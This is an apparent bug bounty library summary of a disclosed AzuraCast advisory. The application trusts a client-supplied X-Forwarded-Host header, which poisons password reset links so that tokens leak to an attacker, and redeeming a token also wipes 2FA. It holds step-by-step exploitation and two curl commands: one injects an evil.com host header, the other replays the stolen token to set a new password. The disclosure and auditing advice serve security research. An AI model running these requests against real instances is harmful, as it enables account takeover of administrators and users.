# AzuraCast has Password Reset Poisoning via Untrusted X-Forwarded-Host Header that Leads to Account Takeover and 2FA Bypass

AzuraCast trusts client X-Forwarded-Host, poisoning password reset emails so the victim's token leaks to the attacker, enabling account takeover and 2FA wipe.

- Payout: Research
- Severity: high
- Program: AzuraCast
- Found by: offset
- Disclosed: 2026-05-04
- CVE: CVE-2026-42606
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-gv7r-3mr9-h5x8
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gv7r-3mr9-h5x8
- Tags: area:web domain:web impact:ato impact:privesc kind:research platform:ghsa sev:high tech:nginx tech:php technique:source-review vuln:account-takeover vuln:host-header vuln:mfa-bypass

**Target:** PHP web app password reset flow / ApplyXForwarded middleware
**Root cause:** ApplyXForwarded middleware unconditionally trusts client-supplied X-Forwarded-Host with no trusted-proxy allowlist, and Router::buildBaseUrl prefers the request host (prefer_browser_url default true) when generating absolute URLs, so the reset link host is attacker-controlled. Consuming a reset token also unconditionally nulls two_factor_secret.
**Steps:**
1. Send `POST /forgot` with `X-Forwarded-Host: evil.com` and `email=admin@target.com`
2. Reset email contains `https://evil.com/login-token/<token>`; victim clicks, attacker logs the token from the path
3. GET `https://target/login-token/<token>` to obtain CSRF token and cookies
4. POST `csrf=<token>&password=AttackerPassword123` to the same path; password changed and 2FA destroyed
**How found:** Code review of the ApplyXForwarded middleware revealed no trusted-proxy check, then tracing buildBaseUrl's prefer_browser_url default and ForgotPasswordAction's absolute URL generation showed the poisoned host flows into the reset email; LoginTokenAction showed token consumption nulls two_factor_secret.
**Exploitation:** Unauthenticated attacker poisons the reset URL host via header injection, waits for the victim to click the legitimate-looking email, harvests the token from their own server logs, then redeems it on the real instance to set a new password and wipe 2FA, logging in with full access.
**Escalation:** Targeting an admin account yields full instance compromise (stations, media, settings); 2FA destruction removes the second factor entirely.
**Insight:** When auditing password reset flows, trace whether absolute URLs are built from request host rather than configured base_url, and check whether X-Forwarded-Host is trusted without a proxy allowlist — nginx fastcgi_pass forwards client headers as HTTP_* even when proxy_params only covers proxy_pass.

## Proof of concept (copied exactly from the original report)

**Poisoned forgot-password request with X-Forwarded-Host**

```
curl -X POST https://target.azuracast.example/forgot \
  -H "X-Forwarded-Host: evil.com" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=admin@target.com"
```

**Token replay POST to reset password**

```
curl -b cookies.txt -X POST https://target.azuracast.example/login-token/abc123def456... \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "csrf=<extracted_csrf_token>&password=AttackerPassword123"
```

